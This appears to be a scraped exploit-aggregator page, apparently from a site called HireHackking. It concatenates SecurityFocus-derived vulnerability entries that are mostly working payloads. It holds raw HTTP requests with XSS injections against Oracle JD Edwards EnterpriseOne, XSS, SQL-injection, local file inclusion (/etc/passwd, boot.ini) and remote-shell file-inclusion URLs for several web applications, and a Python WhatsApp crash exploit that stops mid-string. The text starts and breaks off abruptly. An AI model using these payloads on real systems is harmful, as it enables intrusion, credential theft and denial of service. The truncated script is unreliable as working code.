Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=0000FGUGWkc2Y9q-dO3GqshuPVQ:14p7umbnp; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED
HireHackking 
source: https://www.securityfocus.com/bid/47479/info
 
Oracle JD Edwards EnterpriseOne is prone to multiple cross-site scripting vulnerabilities.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
This vulnerability affects the following supported versions:
8.9 GA through 8.98.4.1 and OneWorld Tools through 24.1.3 


http://XXX.XXX.XXX.XXX/jde/E1Menu_Menu.mafService

Parameter: e1.namespace



* The POST request has been set to: %2Balert%2835890%29%2B

 /jde/E1Menu_Menu.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu&e1.service=E1Menu_Menu&e1.namespace=%2Balert%2835890%29%2B HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=0000b7KChC3OjQct7TOz9U6NMhK:14p7umbnp; e1MenuState=100003759|

Content-Length: 12

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX

Content-Type: application/x-www-form-urlencoded

Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED



nodeId=&a=lc
HireHackking 
source: https://www.securityfocus.com/bid/47479/info

Oracle JD Edwards EnterpriseOne is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This vulnerability affects the following supported versions:
8.9 GA through 8.98.4.1 and OneWorld Tools through 24.1.3 

http://XXX.XXX.XXX.XXX/jde/E1Menu.maf

Parameter: jdeowpBackButtonProtect



* The GET request has been set to: >'"><script>alert(20639)</script>

/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED&%3E%27%22%3E%3Cscript%3Ealert%2820639%29%3C%2Fscript%3E=123 HTTP/1.0

Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=00002ZzkuqI4ibppzAAcyOOuBnh:14p7umbnp; e1MenuState=100003759|

Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: XXX.XXX.XXX.XXX
HireHackking 
# Mirror: http://pastebin.com/raw.php?i=CZChGAnG
# Video: https://www.youtube.com/watch?v=V7bnLOohqqI

#!/usr/bin/python
#-*- coding: utf-8 -*
 
# Title: WhatsApp Remote Reboot/Crash App Android
# Product: WhatsApp
# Vendor Homepage: http://www.whatsapp.com
# Vulnerable Version(s): 2.11.476 
# Tested on: WhatsApp v2.11.476 on MotoG 2014 -Android 4.4.4 
# Date: 26/12/2014
# #RemoteExecution - www.remoteexecution.net 
#
# Author Exploit:
#   Daniel Godoy       @0xhielasangre    <danielgodoy@gobiernofederal.com>
# Credits: 
#   Gonza Cabrera
#
# Reference: http://foro.remoteexecution.net/index.php/topic,569.0.html
#
# Custom message with non-printable characters will crash any WhatsApp client < v2.11.476 for android.
# It uses Yowsup library, that provides us with the options of registration, reading/sending messages, and even
# engaging in an interactive conversation over WhatsApp protocol
#

import argparse, sys, os, csv
from Yowsup.Common.utilities import Utilities
from Yowsup.Common.debugger import Debugger
from Yowsup.Common.constants import Constants
from Examples.CmdClient import WhatsappCmdClient
from Examples.EchoClient import WhatsappEchoClient
from Examples.ListenerClient import WhatsappListenerClient
from Yowsup.Registration.v1.coderequest import WACodeRequest
from Yowsup.Registration.v1.regrequest import WARegRequest
from Yowsup.Registration.v1.existsrequest import WAExistsRequest
from Yowsup.Registration.v2.existsrequest import WAExistsRequest as WAExistsRequestV2
from Yowsup.Registration.v2.coderequest import WACodeRequest as WACodeRequestV2
from Yowsup.Registration.v2.regrequest import WARegRequest as WARegRequestV2
from Yowsup.Contacts.contacts import WAContactsSyncRequest
 
import threading,time, base64
 
DEFAULT_CONFIG = os.path.expanduser("~")+"/.yowsup/auth"
COUNTRIES_CSV = "countries.csv"
 
DEFAULT_CONFIG = os.path.expanduser("~")+"/.yowsup/auth"
 
 
######## Yowsup Configuration file #####################
# Your configuration should contain info about your login credentials to Whatsapp. This typically consist of 3 fields:\n
# phone:    Your full phone number including country code, without '+' or '00'
# id:       This field is used in registration calls (-r|-R|-e), and for login if you are trying to use an existing account that is setup
#       on a physical device. Whatsapp has recently deprecated using IMEI/MAC to generate the account's password in updated versions
#       of their clients. Use --v1 switch to try it anyway. Typically this field should contain the phone's IMEI if your account is setup on
#       a Nokia or an Android device, or the phone's WLAN's MAC Address for iOS devices. If you are not trying to use existing credentials
#       or want to register, you can leave this field blank or set it to some random text.
# password: Password to use for login. You obtain this password when you register using Yowsup.
######################################################
MINE_CONFIG ="config"
 
def getCredentials(config = DEFAULT_CONFIG):
    if os.path.isfile(config):
        f = open(config)
         
        phone = ""
        idx = ""
        pw = ""
        cc = ""
         
        try:
            for l in f:
                line = l.strip()
                if len(line) and line[0] not in ('#',';'):
                     
                    prep = line.split('#', 1)[0].split(';', 1)[0].split('=', 1)
                     
                    varname = prep[0].strip()
                    val = prep[1].strip()
                     
                    if varname == "phone":
                        phone = val
                    elif varname == "id":
                        idx = val
                    elif varname =="password":
                        pw =val
                    elif varname == "cc":
                        cc = val
 
            return (cc, phone, idx, pw);
        except:
            pass
 
    return 0
 
def main(phone):
    credentials = getCredentials(MINE_CONFIG or DEFAULT_CONFIG )
 
    if credentials:
         
        countryCode, login, identity, password = credentials
        identity = Utilities.processIdentity(identity)
 
        password = base64.b64decode(password)
 
        # Custom message that will crash WhatsApp
        message = message = "#RemoteExecution
HireHackking 
source: https://www.securityfocus.com/bid/47427/info

Dalbum is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Dalbum 1.43 is vulnerable; other versions may also be affected.

http://www.example.com/editini.php?album=/Sample%20album/&url=[xss]
HireHackking 
source: https://www.securityfocus.com/bid/47428/info

ChatLakTurk PHP Botlu Video is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/ara.php?ara=[xss]
HireHackking 
source: https://www.securityfocus.com/bid/47423/info

The WP-StarsRateBox plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

WP-StarsRateBox 1.1 is vulnerable; other versions may also be affected.

http://www.example.com/wp-content/plugins/wp-starsratebox/wp-starsratebox.php?p=1&j=SQL_CODE_HERE
HireHackking 
source: https://www.securityfocus.com/bid/47421/info

Ultra Marketing Enterprises CMS and Cart is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/index.php?id=[Sql Injection]
http://www.example.com/product.php?id=[Sql Injection]
HireHackking 
source: https://www.securityfocus.com/bid/47418/info

XOOPS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view arbitrary local files within the context of the webserver process. Successfully exploiting this issue may lead to other attacks.

XOOPS 2.5.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/imagemanager.php?target=/../../../../../../../../boot.ini%00&op=upload
HireHackking 
source: https://www.securityfocus.com/bid/47416/info

CRESUS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/$path/ang/recette_detail.php?id=1 {SQL Injection}
HireHackking 
source: https://www.securityfocus.com/bid/47399/info

The 'com_phocadownload' component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

http://www.example.com/index.php?option=com_phocadownload&controller=../../../../../../../../../../etc/passwd%00
HireHackking 
source: https://www.securityfocus.com/bid/47395/info

chillyCMS is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow a remote attacker to obtain sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

chillyCMS 1.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/core/helpers.include.php?file=[Ev!l-Sh3ll]
http://www.example.com/[path]/core/helpers.include.php?path=[Ev!l-Sh3ll]
http://www.example.com/[path]/core/helpers.include.php?fullpath=[Ev!l-Sh3ll]